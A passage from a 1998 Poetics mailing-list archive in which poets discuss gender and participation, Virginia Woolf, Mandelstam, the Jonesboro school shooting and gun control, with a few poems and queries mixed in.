Fri 27 Mar 1998

A performance of "A-24 was put on at the Grand Piano coffee house series, probably in 1979 (it was after LZ's death), with Bob Perelman on Piano, voices included Barrett Watten, Carla Harryman, Kit Robinson, Steve Benson and, I think, Lyn Hejinian. This was repeated a few times and one version (at UC Davis I believe) was recorded on video by the archive for new poetry at SF State. They should have copies if any are to be had. It's been awhile, so one or two of these details might have rusted in the brain somewhere.

It was fabulous, slower in its pacing than I (who do not read music) had imagined on the page, thus quite anti-"speech" throughout. Great rigor and attention to detail by all the participants.

I believe a thorough search of the archives of the Poetics List would turn up an earlier discussion in which a couple of other performances by other folks were also documented.

Ron Silliman

↑ Index

891. **henry gould**
Re: \engine dire
Fri 27 Mar 1998

On Mon, 16 Mar 1998 20:48:49 -0800 Steve Tills said:
>Okie-dokie, babe, but there is the question of "who gets to decide who has ears
>and who doesn't, too. Also, to claim having ears, as well as to claim "Poet X
>a fashionably authoritative type of comment back in 19__), can get_____.
Now that I've sobered up from last night's drunken bingo game, sure, of course you're right. That's one of the reasons this list is here for, I guess.
And gender realities sure do impinge on CONVERSATIONS ABOUT poetry here &
everywhere, as do the dulling effects of overposter boys like myself. Believe it or not I'm trying to cut down - I abort lotsa posts before sending, you'll all be glad to know - & hope I don't have to resort to self-inflicted carpal tunnel syndrom to cut back further. The more people that pipe up here the better, of all seven genders. HYEVER I would also respectfully add that the argument that "I keep quiet because some of those boys might criticize me" is not a strong argument; moreover, old cartoon reruns of "what women are like" or "what men are like" don't tell you much about either poetry or the sex feuds; and finally, to clinch the thing, the simple truth in a complex world is that my cartoons are just BETTER than everybody else's cartoons, so there, I win again ha ha ha.

- Officer Pup Gould

↑ Index

892. **henry gould**
Re: costly clay
Fri 27 Mar 1998

On Tue, 24 Mar 1998 14:17:09 -0500 morpheal said:
>>Does loam contain clay? I thought clay was mineral-rich but I could be
>>wrong. Also remember reading about a science study showing some kind
>>of electromagnetic movement - sort of a shifting back & forth - in clay
>>that the scientists thought was a sort of primitive pre-life form.
>
>Perhaps somewhat tangential.
>
>The phrase "costly clay" is curious in that it implies the traditional cost
>of any ground being the human blood that was spilt in the taking of it. All

>ground was considered taken and held purely by cost of blood.
>
>Adds an odd kind of nuance to any discussion of soils, Russian soils included.

costly clay - This is a quote from guess who Mandelstam. I don't have the poem handy, unfortunately. Think it was from his trip to Armenia period. The "Journey to Armenia" prose piece elaborates a complicated bunch of metaphor-pheenyms around clay, lips, poetry, language, Armenia, time, and yes - sacrifice. "Abel's blood is calling from the ground". [O God those poor kids in Arkansas.] - Henry Gould

↑ Index

893. Mairead Byrne
Re: \engine dire
Fri 27 Mar 1998

My God, Thank You, Henry Gould! No more bother about women's representation in publishing, publications, cartels, circles of power etc. We just have small ears! Come to think of it, this notion explains so much about literary history. Wasn't it Darwin that first pointed out the embryonic or "fetal" female ear, only now budding in the twentieth century? Sorry, twenty-first. I'm Irish, you know, it has always bothered me a little that the ranting, raging music of my poetry is often heard as ranting and raging in the U.S., rather than as music. I thought there might be a quetion of different ears, and ears being culturally biassed in some way. But Henry's post has simplified everything. What a RELIEF!
Mairead

↑ Index

894. henry
Re: \engine dire
Fri 27 Mar 1998

On Fri, 27 Mar 1998 09:12:39 -0500 Mairead Byrne said:
>My God, Thank You, Henry Gould! No more bother about women's
>representation in publishing, publications, cartels, circles of power etc.
>We just have small ears! Come to think of it, this notion explains so
>much about literary history. Wasn't it Darwin that first pointed out the
>embryonic or "fetal" female ear, only now budding in the twentieth
>century? Sorry, twenty-first. I'm Irish, you know, it has always bothered
>me a little that the ranting, raging music of my poetry is often heard as
>ranting and raging in the U.S., rather than as music. I thought there
>might be a quetion of different ears, and ears being culturally biassed in
>some way. But Henry's post has simplified everything. What a RELIEF!

Don't mention it, Mairead! Glad to be of help! I hear you soft & clear! Say, did you hear that cricket by the hearth? Whatsay? NO!! That ain't no moose! - Henry "Lobe-otomy Calamity Joan" Gould

↑ Index

895. **Douglas Barbour**

Re: what does Jonesboro have to do with women & poetry & Poetics list

Fri 27 Mar 1998

In response to the news from Jonesboro, many of us non-USAmericans have been bemused by the fact that in all the traumatized editorializing about these killings, the one aspect of the situation that has not been questioned is the lack of any working gun-control laws in the states.

I think the NRA recently posted this to the list:

"Poems don't kill people.
People kill people.
Don't blame the poem."

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Or is this too pathetic? Over-compensation for my measly small ears? NO! Those earrings rock! Gonna get my tongue pierced too. And my nose. Patrick Kavanagh said SMELL was the most crucial sense for a poet. In an "occupation" / "preoccupation" with a shortage of sense ... words fail me. Mairead

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897. **daniel bouchard**

Re: what does Jonesboro have to do with women & poetry & Poetics list

Fri 27 Mar 1998

> *In response to the news from Jonesboro, many of us non-USAmericans have been bemused by the fact that in all the traumatized editorializing about these killings, the one aspect of the situation that has not been questioned is the lack of any working gun-control laws in the states.*

Those two boys only acted on the example of their government. When people do not do as YOU wish them to do, you kill them.

- db

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

898. **morpheal**

Re: Editors finding poetry ? (was: stupid and lazy posts)

Fri 27 Mar 1998

> *Read someone's poetry where? How did it get there?*
>
> *If you hang around poets long enough you start finsing out where poems can be read. In each other's rooms, for instance. At the bar. At the campus if yr at a campus. It got there in someone's pocket or paper bag or backpack. It comes over the internet. It comes from the microphone or it's unplugged.*

Try perusing rec.arts.poems on the Internet.

There, in that newsgroup, you would find many writers, or would-be writers, sharing their work. I post drafts of my current work there very regularly, among a large number of some very regular and some irregular contributors.

Many of the poets there use that medium because they either cannot afford more costly means of publication, or have gotten lost in the nowhere poets' land of being a nobody as to name recognition when anything lands on any noteworthy editor's desk, or because they simply do not know what publications (other than occassional e-zines) to devote their submissive efforts to. It is not that they suffer from terminal rejection as much as that they have had no mentors or mentoresses to let them in on anything worthwhile and the hard line regime of forking out contest entry fees to publications that prey upon exactly that has dwindled their meagre reserves of means and ways.

Although I have published one self-published book of verse, and been included in a few obscure local anthologies, I suffer from all of the above maladies, so I know the syndrome all too well of "make a name for yourself", "make a success of yourself" and the frequent corollary of "pull yourself up by your own bootstraps". The latter is indicative as to that genre of dis-encouragement because if you have ever attempted to pull on your own bootstraps to get yourself up off the floorboards of any endeavour you know how impossible it is to do exactly that, and that is in fact the often all too subtle joke in such exclamations.

Morpheal

aka Bob Ezergailis

[redacted]

↑ Index

899. Elizabeth Hatmaker

Re: \engine dire

Fri 27 Mar 1998

I agree that there's a hell of a lot more to poetry than gender and I agree that "boys criticize me" isn't a good argument not to speak (tho' I've fallen prey to it on occasion). However, a couple of things occur to me:

1. Poetry isn't just about listening. I can hear Moby Dick all I want, but it is my response to it that makes poetry a dialetical function. Action, be it in discussing Moby Dick or writing something about it, or performing something you've written, is, often beyond any one person's desires, gendered (tho' I'm certainly not arguing that this gendering is in any way natural or cannot be manipulated)

2. Boys (and girls and others) criticize, and often it's helpful, even if occasionally not ego-gratifying. However, I've often had the experience of suspecting that a criticism made of my work (either in tone or content) was specifically based in gender (like suspecting that he's majorly invested in proving his manhood more than discussing work with me) and getting that shocked look when I suggested maybe this was the case. Because, what, gender's a chick thing? I know some of my own criticisms have been questionable in similar ways (on days when I'm tired or mad, not taking a male student's Mack Bolan-type poems as seriously as I might {odd how I picked an example with a guy who would have less instituational power than I, says something, I think} or getting unneccisarily angry at fellow female poets writing "daddy" poems because I'm worried that they are repeating female "poetess" stereotypes). Dumb (and unfair), right? But the thing is, criticism's can be critiqued. If you suspect that the criticism you are going to get is not valid to your work, why put your work out there?

So what now? I don't know that anyone is suggesting that men "play nice" with women writers and not criticize them. I think it's a little simplistic to think that all the posts written about why women don't post or submit as frequently as men boil down to "women are scared of criticism."

I wonder, if women and other genders who historically have been marginalized were to contribute more to mags and listservs, would gender stop being an "issue" in poetry communities? Perhaps new gender "issues" would arise, but what might they look like? taste like?

Oh yeah, I like Aldon's post very much.

Elizabeth

"observe this as you would a maniac in the woods" -- R. Sterling (possibly misheard)

↑ Index

900. **henry**
Re: \engine dire
Fri 27 Mar 1998

Smell? May be. Is that why all the really big-eared poets go blind?

We may have to consult some complexity scientists on this issue of the one and the many, the one big ear and the many different ears. Especially when you start to wonder if verbal power is the ultimate form of power {the Word was God & all that] and poetry is the ultimate expression of verbal power [in a sealed nutcase], so that Henrygemony is only one among many expressions of small henrygemonies, and outsiders' demands to be insiders are demands

within a power game, and even outsiders who claim to have different ears are still trying to catch the attention of the one big Ear [HCE that is, Ear Comes Everboddy], and every woman and every man is also everyear every year, ever-hear that one? The one about rat-eared rhetoric, the persuasive idiombombon-bonmot?

And the best way to inoculate yall again whiteyboy HennyPenny powwow trips, man, is to get an earful of DIFFEN idioms, like no shit gal y'hear me talkin? Refine yo mine sistah if you wanna stan wi me. Seein az I stole at fum yall anyway! Hah!

the most powerful poems show no straining for effect beyond what's necessary for the complete repeat effect... "power contained"... "a powerful work"... "a powerful voice"... "hell of an earful"... "powerful in its delicacy & restraint"... "powerful cry of the powerless"... "TOTALLY WINNING lightheartedness & self-mockery"... "POWERFUL example of selfless impersonality"..."Henry Gould is on a total power trip and he's likely to win, too"..."yikes!!"..."lemme outa ear!!"...

- Ratso Rhoziland, the sub-sub-sub-sub-Librarian ["lookout!!"]

"silence is not goulden"
- Oscar Whiner

↑ Index

901. **morpheal**
Re: costly clay
Fri 27 Mar 1998

> *Adds an odd kind of nuance to any discussion of soils, Russian soils included.*
>
> *costly clay -*
> *This is a quote from guess who Mandelstam. I don't have the poem handy, unfortunately. Think it was from his trip to Armenia period. The "Journey to Armenia" prose piece elaborates a complicated bunch of metaphorpheenyms around clay, lips, poetry, language, Armenia, time, and yes - sacrifice.*
> *"Abel's blood is calling from the ground". [O God those poor kids in Arkansas.] - Henry Gould*

The Arkansas event is so extremely irrational, so extremely insane, I suppose I can find some theoretical, intellectual, explanation for it, but beyond that I simply cannot comprehend how someone can do that. However, human history is also largely incomprehenensible, for the same kinds of reasons.

I sometimes think, in an agnostic manner, that if there is a god it has to have been completely insane to create a universe of the kind it did. Considering the story has humanity as its supposedly highest pinnacle of creative effort and that

leading to all the endless bloodshed strife that comprises the macrocosm of political history, and the microcosm of the kind of lesser bursts of insanity such as the one in Arkansas.

The Cain and Abel story as the archetypal instance in some ways becomes a dangerously imposed paradigm. Instances that I know of where one brother is turned to playing Cain and the other must play Abel, but neither would have otherwise chosen to, in any way, enact the myth. Not every such tragedy leads to bloodshed, amongst brothers, but such tragedies are many, and some think it a part of "necessary learning" to re-enact the paradigmatic instance.

Of course those who oppose that most are the non-Marxist anarchists. All other groups seem to hold to re-enactments of various mythologies, but they uniquely stand solidly against it and claim it is dysfunctional and a cause of human suffering. The Buddhists would agree, but modern Buddhists do re-enact.

Armenia, of course, has its extremely bloodied political history.

Much of political history has been brought about by one group seeking to have additional resources that are controlled by another group, including the clay, that in many instances is purely useable space. The other part of political history is violence utilized as means of conversion purely to push over one system of ideas onto another. Add to that the foul motives of revenge. Reminds me of the many non metaphorical roastings, sendings to the flames, and crowds tearing victims to pieces, that predominated in Europe. Civilization, such as it is, was sometimes very costly clay indeed, and those who were not as malleable as moist clay were often eaten alive for that very "failing". It is a wonder that progress ever occurred in any liberal and democratic sense of it.

As for myself, I have only been involved, and indirectly, in the spilling of the blood of violent aggressors, and by fully sanctionned means. Of course that does not give oneself clean hands. Even that bloodies us. Even when the aggressors were contemplating genocide, and planning use of weapons of mass destruction. Mahatma Gandhi would have urged us to sit there and be blown away by the other side, but that does not seem to be a viable real world option.

So, in a sense, all of our clay is costlier than you would imagine. Much, much, costlier than we usually imagine.

Morpheal

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902. **morpheal**

Re: what does Jonesboro have to do with women & poetry & Poetics list

Fri 27 Mar 1998

> *In response to the news from Jonesboro, many of us non-USAmericans have been bemused by the fact that in all the traumatized editorializing about these killings, the one aspect of the situation that has not been questioned is the lack of any working gun-control laws in the states.*
>
> *I think the NRA recently posted this to the list:*
>
> "*Poems don't kill people.*
> *People kill people.*
> *Don't blame the poem.*"

Sadly, logic dictates that the citizens' right to bear arms is a necessity to help assure the prevention of the worst kinds of tyranny. As a nation state becomes ever more centralized and powerful that safeguard sometimes becomes insidiously undermined and the tendency is to either take away that right and risk that a dictatorship or an oligarchy might sieze power essentially unopposed, or for the citizens to seek more powerful means of protecting their freedoms.

The question becomes how to prevent casualties and protect those very freedoms that are vouchsafed against the rising up of a dictator, a Hitler or a Stalin, at the head of the machinations of power ? Perhaps the failing is in education and in the what and how of it.

There is no easy answer.

Would sufficient force of arms in the control of the citizens have prevented the Third Reich and its reign of terror and bloodshed ? Perhaps.

Would sufficient force of arms in the control of the citizens have prevented the Stalinist reign of terror and its bloodshed of many millions more lives, as well as the total enslavement of countless millions of others ? Probably.

If anyone has a better answer than the citizens right to bear arms, to the problem of totalistic tyranny and the evils and sufferings wraught by some kinds of political dictatorships, please do share it. I doubt anyone can offer even one iota of alternative, practical, real world wisdom.

As to what is taught to children, to form their values and to further their understanding, self control, sense of ethics, and to alleviate some of the horrible conflicts and prejudices that are rife within North America, that is a very different matter....Perhaps that is the really significant question.

Morpheal

↑ Index

903. Reinfeld, Linda
Re: POETICS Digest - 25 Mar 1998 to 26 Mar 1998
Fri 27 Mar 1998

A question from Toshi Ishihara (formerly in Charles Bernstein's class at UB):

I'm beginning work on a paper about the integration of text and pictures in the work of Theresa Hak Kyung Cha, Trinh T. Minh-ha, and Michael Ondaatje. If anyone can suggest critical materials that would help me along with this project, I'd be very grateful. Responses to the list will be forwarded to me by Linda Reinfeld ([redacted]), or you can mail me backchannel at [redacted]

Thanks a lot -- Toshi

↑ Index

904. Susan Wheeler
Spring
Fri 27 Mar 1998

---

and out of my burrow. All have been missed.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

905. Keston Sutherland
Re: what does Jonesboro have to do with women & poetry & Poetics list
Fri 27 Mar 1998

---

the one aspect of the situation that has not been
questioned is the lack of any working gun-control laws in the states.

yes, I found this startling, it's as if: "the root of the problem isn't guns, it's [single parent families][tv shows][cigarettes][the middle east], and if there were no guns, HELL, those kids would have thrown PEBBLES, or cried out ABUSE, or squirted their victims with WATER PISTOLS. Different versions of the same problem" I remember when a man burst into a primary school in Scotland (in Dunblaine, I think) and shot several children - the FIRST reaction was a chorus of anti-gun protest, now all guns are banned in the UK (amnesty for licence holders)

this situation will never change in the US, right?

↑ Index

906. Ellay Phillips
Re: \engine dire
Fri 27 Mar 1998

On Fri, 27 Mar 1998, henry wrote:

> *Smell? May be. Is that why all the really big-eared poets go blind?*

Yes it's cuz we can't stop wigglin em

Especially
> when you start to wonder if verbal power is the ultimate form of power
> {the Word was God & all that] and poetry is the ultimate expression
> of verbal power [in a sealed nutcase], so that Henrygemony is only

Eye dunno if the verbal is the _ultimate_ form of power if speech is act (as the theory may go) but words are powerful yes indeed they make worlds

as hannah weiner said, I see words
as eye say, eye c wor(l)ds

but eye also 'ear them too

and words impinge on the body at least mine and eye agree with olga broumas who once said poetry can bee like el-ess-dee it has a strong kick and changes the way one can c the wor(l)d

it runs through my blood and the clay of which eye am made and mixes with the blood of the ones who are gone who are within me as much as in the clod next to my foot and it overpowers me and overwhelms me and changes me as much as eye wheeled it

so eye make wor(l)ds too and they are as true as anything else out there.

Ellay Phillips

↑ Index

907. Burt Kimmelman
Re: Query v. Ed Foster
Fri 27 Mar 1998

ed tells me that he is back on line: [redacted].

↑ Index

908. **Keston Sutherland**
Re: what does Jonesboro have to do with women & poetry & Poetics list
Fri 27 Mar 1998

---

morpheal's same old "sadly, que sera sera"'s the same old non sequitur, your examples are haphazard and banal in their obviousness, DO YOU REALLY (i mean -really-, mind) BELIEVE THAT A BUNCH OF FARMERS SCHOOLBOYS AND INSURANCE SALESMEN, JUST BY 'VIRTUE' OF POSSESSING A HANDGUN EACH, COULD OPPOSE THE U.S. ARMED FORCES?!! What a load of shit! As for the Third Reich - what do you KNOW about this? The Nazis were elected both by the citizens of Germany in a democratic process and by the president of the Reichstag; most people would not even have cocked their pistols had they owned any; small pockets of armed resistance (eg anti Hitlerjugend splinter groups of young men such as the Edelweiss Pirates) were negligible in effect and of primarily symbolic importance; the Polish army, a trained body of fighting professionals with military equipment, could not prevent their country being annexed, so how the hell do you imagine a citizenry - impressed with their government and swarming to meet Hitler whenever he passed through their towns with near-hysteric jubiliation, faced with the combined military and paramilitary might of the SS, SA and German armed forces proper - could EVER have prevented (what I suppose you're driving at) the holocaust, OR even have wished to do so, OR EVEN (and here's a nice rub re: the US) HAVE KNOWN ABOUT IT (most people had no clue).

Guns are outlawed in the UK - just hear those droves of shackled ankles marching to their death-camps - if only they'd had a few Uzis

The murder rate there is of course -MUCH- -MUCH- lower

↑ Index

909. **k. lederer**
Re: Virginia Woolf, class
Fri 27 Mar 1998

It seems as if the discussion about gender kind of dwindled away--

I was slightly disappointed with the manner in which it devolved into witticism--

My original post--re: women submitting and participating was not about women's poetry per se--as poetry--but rather about the production of literature--the barriers that must be surmounted before a single person can manage to put pen to paper; and how these barriers seem to be higher for women.

I haven't managed to be articulate about this distinction, I don't think, so thought I'd post an excerpt from Woolf's Room of One's Own. This excerpt is

taken from a wonderful and absolutely necessary book--FEMINISM: THE ESSENTIAL HISTORICAL WRITINGS.(Vintage, 1972).

If you haven't read these articles--by minds such as Abigail Adams, Mary Wollstonecraft, George Sand, Sojourner Truth, John Stuart Mill, Emma Goldman, and so on--it's as if you hadn't read Marx--

And if you want to talk about class, you might do well to read a little Marx, no?--

The following is one of the most basic of feminist arguments:

But you may say, we asked you to speak about women and fiction--what has that got to do with a room of one's own? I will try to explain. When you asked me to speak about women in fiction I sat down on the banks of the river and began to wonder what the words meant. They might mean simply a few remarks about Fanny Burney; a few more about Jane Austen; a tribute to the Brontes and a sketch of Haworth Parsonage under snow; some witticisms if possible about Miss Mitford; a respectful allusion to George Eliot; a reference to Mrs. Gaskell and one would have done. But at second sight the words seemed not so simple. The title women and fiction might mean, and you may have meant it to mean, women and what they are like; or it might mean women and the fiction that is written about them; or it might mean that somehow all three are inextricably mixed together and you want me to consider them in that light. But when I began to consider the subject in this last way, which seemed most interesting, I soon saw that it had one fatal drawback. I should never be able to come to a conclusion...

...All I could do was to offer you an opinion upon one minor point--a woman must have money and a room of her own if she is to write fiction; and that, as you will see, leaves the great problem of the true nature of woman and the true nature of fiction unsolved. I have shirked the duty of coming to a conclusion upon these two questions--women and fiction remain, so far as I'm concerned, unsolved problems. But in order to make some amends I am going to do what I can to show you how I arrived at this opinion about the room and the money...

...Life for both sexes--and I looked at them [through a restaurant window while waiting for my lunch to be served], shouldering their way along the pavement--is arduous, difficult, a perpetual struggle. It calls for gigantic courage and strength. More than anything, perhaps, creatures of illusion as we are, it calls for confidence in oneself. Without self-confidence we are as babes in the cradle. And how can we generate this imponderable quality, which is yet so invaluable, most quickly? By thinking that other people are inferior to oneself. By feeling that one has some innate superiority--it may be wealth, rank, or a straight nose, or the portrait of a grandfather by Romney--for there is no end to the pathetic devices of the human imagination--over other people. Hence the enourmous importance to a patriarch who has to conquer, who has to rule, of feeling that

great numbers of people, half the human race indeed, are by nature inferior to himself. It must indeed be one of the chief sources of his power.... Women have served all these centuries as looking glasses ppossessing the magic and delicious power fo reflecting the figure of the man twice its natural size.

(pp 345-46)

Katy

↑ Index

910. Ryan Whyte
On Symmetry
Fri 27 Mar 1998

[wishing that this work could be symmetrical to my other work, a somewhat academic study on the decorative, which is somehow "more real;" and then something else spills out to this list, asymmetrical: lacking some kind of reverse precedent.... this is the "pause in our conversation" which is where the unpublished poem comes from, perhaps; as if the book or magazine provided a spine or hinge which the words could turn against, reflecting without a gap, back on themselves.... Ryan]

On Symmetry

It is very much like a desert, if it could be
It depends upon a perfect hinge.
It is remote, even under your fingers, gentle ridges here and there.
It doesn't know whether it has a heart or not
    (to say a hinge.)
It has already fallen silent.
It is only if a storm could rage in marble
It is if it were to die it would.
It is a matter of its own indifference.
It is indifference as it is unmoored.
It is the vanity of vanities.
It is the image of a bourgeois gilded mirror replete but now unhinged,
    and classless.
It is endlessly itself and its classical facade.
It is a wandering front
It is an unremembered basilica.

↑ Index

911. Ctfarmr
women and men in conversation
Fri 27 Mar 1998

According to studies by Deborah Tannen, author of _He Said, She Said_ , women and men learn strikingly different modes of discourse from an early age. Most boys learn to use conversation as a competitive activity, emphasizing their differences and individuality, establishing a hierarchy, which contributes to group cohesion, and within which each member is constantly striving for a higher position by challenging others and by showing his own knowledge to be "superior." Most girls learn to use conversation among friends as a cooperative activity. Anyone who criticizes within the group, or tries to show superior knowledge is setting herself apart from (above) the group, and is therefore seen as making an attempt to destabilize it. Differences of opinion are more often put forward as questions rather than statements. Or they're prefaced with phrases such as, "In my experience," implying respect for the speaker's opinion while maintaining one's own. Within the cooperative mode of discourse, a direct statement of "you're wrong" is, in effect, telling the speaker to shut up.

So, when folks using the two different modes of discourse, the competitive and the cooperative, come together, the competitors tend to dominate because their direct challenges and criticisms are, within the rules of cooperative discourse, telling the cooperatives that their contributions are unacceptable. This affects discussions of poetics, because academic discourse generally utilizes the competitive mode. And, while young women are now more often trained to use the competitive mode with confidence, saying that women "should" do this is really saying that women should be more like men. Until both sides recoginize these different modes of discourse, respect them equally, and take them into account in their conversations together, women will often think that men are (verbally) attacking them, and men will think the women are wimping out.

This is just a very brief, and probably inadequate, summary of some of the main points in Tannen's book, which I highly recommend to anyone interested in this subject.

Bobbie West

↑ Index

912. Charles Bernstein
Ishihara/Reinfeld
Fri 27 Mar 1998

Since Linda Reinfeld posted a query for Toshi Ishihara, it reminded me to recommend their wonderful 1996 collaborative translation "The Game of 100

Poems": a set of 200 cards that together make up the 100 poems of Hyakunin Isshu, based on the anthology of 100 tanka poems (5-7-5, 7-7) compiled by Sadaie Fujiwara in 1235). This version consists of 100 cards with the first line and 100 cards with the second line, which you can match up in a variety of ways. In the introduction Ishihara and Reinfeld note that "Although this anthology has frequently been translated into English, our translation is unique, for we have chosen to use couplets, rather than free verse of syllabic form, to reflect the two-part structure of the poems".

I hope that copies of this remarkable box of poems are still available; if interested, write to Linda Reinfeld: [redacted].

*

I thought of this poem, attributed to Fujiwara no Shunzei, Master of the Grand Empress's Household, in reaction to the events in Jonesboro:

In all the world there's no road far from grief:
Even the deer cry deep in the mountains

↑ Index

913. Elizabeth Hatmaker
Re: Virginia Woolf, class
Fri 27 Mar 1998

One of the things I'm curious about is what men think about their own gender when writing/ publishing/ reading/ discussing poetry? Do you think about gender at times like this? Given the original question: why are women often reluctant to contribute, it seems logical to ask: why are men likely to do so? I think we know some of the historical/social reasons: access to money, old boy networks, all that Jungian " spiritual wise man," ah, stuff, etc. -- but what else? If you want to avoid this stuff (or things like class and race keeps you away from money, networks, etc) what makes you contribute?

Do you feel this big imperative to write based on notions you would consider gendered? If not, why?

I mean, sure, I write for a lot of reasons, some not "gendered", but I feel the call of ole' Virginia Woolf to find my own room. Certainly, hashing out my gender has been a big deal in my writing. Is this just a chick thing?

I don't mean to deter from the original question (because I think it's important) Katy posed and I certainly don't want to turn this into an "us gals" and "you guys" kind of debate, but, for the sake of discussion, maybe we could ask a

series of different questions re: gender that might be enlightening. I got the impression people were into this debate and it sort of died.

--oh, and Katy, someone had said your mag isn't currently taking contributions. Is it true? When will your mag be ready for lots of rock- and-roll poetry/prose by women? (I bet others will be interested)

Rockin' in the 70 degree plus weather of Boston,

Elizabeth Hatmaker

↑ Index

914. Maria Damon (Maria Damon)

Re: women and men in conversation

Fri 27 Mar 1998

---

it was very confusing for me to be raised with the "male" rules for conversation and then enter the social world. my main problem was not other women but guys, who recoiled from my "unfeminine" and combattive verbal style. i couldn't figure out what the problem was. now that i'm thoroughly therapized and midwesternized, i've learned to adopt some "feminine" conversational" skills and i must say it's helped a lot, not w/ getting guys so much as with just getting along better in society.

At 1:30 PM 3/27/98, Ctfarmr wrote:
>According to studies by Deborah Tannen, author of _He Said, She Said_ , women
>and men learn strikingly different modes of discourse from an early age. Most
>boys learn to use conversation as a competitive activity, emphasizing their
>differences and individuality, establishing a hierarchy, which contributes to
>group cohesion, and within which each member is constantly striving for a
>higher position by challenging others and by showing his own knowledge to be
>"superior." Most girls learn to use conversation among friends as a
>cooperative activity. Anyone who criticizes within the group, or tries to show
>superior knowledge is setting herself apart from (above) the group, and is
>therefore seen as making an attempt to destabilize it. Differences of opinion
>are more often put forward as questions rather than statements. Or they're
>prefaced with phrases such as, "In my experience," implying respect for the
>speaker's opinion while maintaining one's own. Within the cooperative mode of
>discourse, a direct statement of "you're wrong" is, in effect, telling the
>speaker to shut up.
>
>So, when folks using the two different modes of discourse, the competitive

and
>the cooperative, come together, the competitors tend to dominate because their
>direct challenges and criticisms are, within the rules of cooperative
>discourse, telling the cooperatives that their contributions are unacceptable.
>This affects discussions of poetics, because academic discourse generally
>utilizes the competitive mode. And, while young women are now more often
>trained to use the competitive mode with confidence, saying that women
>"should" do this is really saying that women should be more like men. Until
>both sides recoginize these different modes of discourse, respect them
>equally, and take them into account in their conversations together, women
>will often think that men are (verbally) attacking them, and men will think
>the women are wimping out.
>
>This is just a very brief, and probably inadequate, summary of some of the
>main points in Tannen's book, which I highly recommend to anyone interested in
>this subject.
>
>Bobbie West

↑ Index

915. Maria Damon (Maria Damon)
Re: Virginia Woolf, class
Fri 27 Mar 1998

At 1:48 PM 3/27/98, Elizabeth Hatmaker wrote:
...all that Jungian " spiritual wise man,"...

what the hell's this and what does it have to do w/ sending stuff in to be published?

↑ Index

916. david bromige
women & men in conversation
Fri 27 Mar 1998

Another interesting post from Bobbie. But you know what? It's difficult for me to recognize and accord equal respect to both the modes she describes, as she, generously, advocates. I dislike intensely the male model, regret the times I may have followed it, and would very much like to see it abandoned. I hope the definiteness of tone in that previous sentence isnt a hangover from my training

as a male? I've enjoyed hearing women be just that clear. And please--I know I'm an ironist, but no irony intened here. David

↑ Index

917. Christina Fairbank Chirot

Re: what does Jonesboro have to do with women & poetry & Poetics list

Fri 27 Mar 1998

Having written and published a few pieces drawn from real life experiences of shootings and killings--i.e. happened in my life to people I knew as well as to me--

it is not bemusing to regard the killings--they are part of a long tradition in American life (and art, to be sure)--

it's easy to say it's just guns--but the hells many endure living in the usa go beyond simple violence--(remember: Thoreau spoke of "lives of quiet desperation" lived in silence--violence is what happens when silence
becomes too much to endure, when one does know how to speak, or if anyone will listen--)

one of the great moralists of our times, one William S. Burroughs, has an exceptional passage in Maked Lunch--an out pouring of outrage at the
spirit of evil which haunts the land--

millions were killed in this country without guns--drugs, alcohol, toxic waste dumps, no access to health care, locked up in reservations, beaten and starved, tortured, lynched, malnutrition, chemical and nuclear experiments, medical and biological experiments--

many of my ancestors were killed by a simple method: they were given disease infected blankets when shipped off their homelands by the us govt.

there are many interesting studies tracing the origins of this violence to Puritanism--you can find the flip side of this in some of Jim Thompson's novels--

but the desire for purification, and to purge the world of impurities--

to know grace (and when you can't be rewarded with riches--why not with power--over another's life--)--

Remember Travis Bickle in Taxi Driver: "all my life I've known loneliness--in cars, on sidewlaks--in bars--loneliness has followed me everywhere--I'm God's lonely man--"

. . ."Someday a real rain will come . . . "

. . ."You talkin' to me?--Huh?--Then who the f*** are you talkin to?"

When it's not such a short step from a desire to overcome intolerable life, or solitude, or silence to being God's lonely man--

is not this the mission of the righteous?

"Huh?"

--dave baptiste chirot

↑ Index

918. **Mark Weiss**

Re: what does Jonesboro have to do with women & poetry & Poetics list

Fri 27 Mar 1998

In talking about the constitutional right to bear arms it helps to go back to the thinking of the founders. While the amendment guarantees the right to bear arms in order to facilitate the maintenance of a militia (as opposed to a standing army), the jeffersonians certainly had the resistance to tyranny in mind, as well. So citizens could keep their guns, which gave them a fire-power only marginally inferior to the military, which weilded at best uncertain artillery.

By that logic the right to bear arms should include the right to private ownership of, say, supersonic jets armed with everything but nuclear weapons. As this is impractical, not least because if large numbers of us owned our own military aircraft every flat surface on the continent would have to be paved for private airfields, the right to bear arms has become obsolete, and stricter weapons control makes sense.

On the other hand, there's no practical reason why the citizenry couldn't be armed with chemical and biological weapons, which can be stored easily (a good refrigerator does wonders for most biological weapons, except when there's a power failure). At the very least apartment living could become a lot more interesting.

At 10:40 AM 3/27/98 -0500, you wrote:

>>In response to the news from Jonesboro, many of us non-USAmericans have
>>been bemused by the fact that in all the traumatized editorializing about
>>these killings, the one aspect of the situation that has not been
>>questioned is the lack of any working gun-control laws in the states.
>>
>>I think the NRA recently posted this to the list:
>>
>>"Poems don't kill people.
>>People kill people.

>>Don't blame the poem."
>
>
>Sadly, logic dictates that the citizens' right to bear arms is a necessity
>to help assure the prevention of the worst kinds of tyranny. As a nation
state
>becomes ever more centralized and powerful that safeguard sometimes be-
comes
>insidiously undermined and the tendency is to either take away that right
>and risk that a dictatorship or an oligarchy might sieze power essentially
>unopposed, or for the citizens to seek more powerful means of protecting
>their freedoms.
>
>The question becomes how to prevent casualties and protect those very
freedoms
>that are vouchsafed against the rising up of a dictator, a Hitler or a
>Stalin, at the head of the machinations of power ? Perhaps the failing is
>in education
>and in the what and how of it.
>
>There is no easy answer.
>
>Would sufficient force of arms in the control of the citizens have prevented
>the Third Reich and its reign of terror and bloodshed ? Perhaps.
>
>Would sufficient force of arms in the control of the citizens have prevented
>the Stalinist reign of terror and its bloodshed of many millions more lives,
>as well as the total enslavement of countless millions of others ? Probably.
>
>If anyone has a better answer than the citizens right to bear arms, to the
>problem of totalistic tyranny and the evils and sufferings wraught by
>some kinds of political dictatorships, please do share it. I doubt anyone can
>offer even one iota of alternative, practical, real world wisdom.
>
>As to what is taught to children, to form their values and to further their
>understanding, self control, sense of ethics, and to alleviate some of the
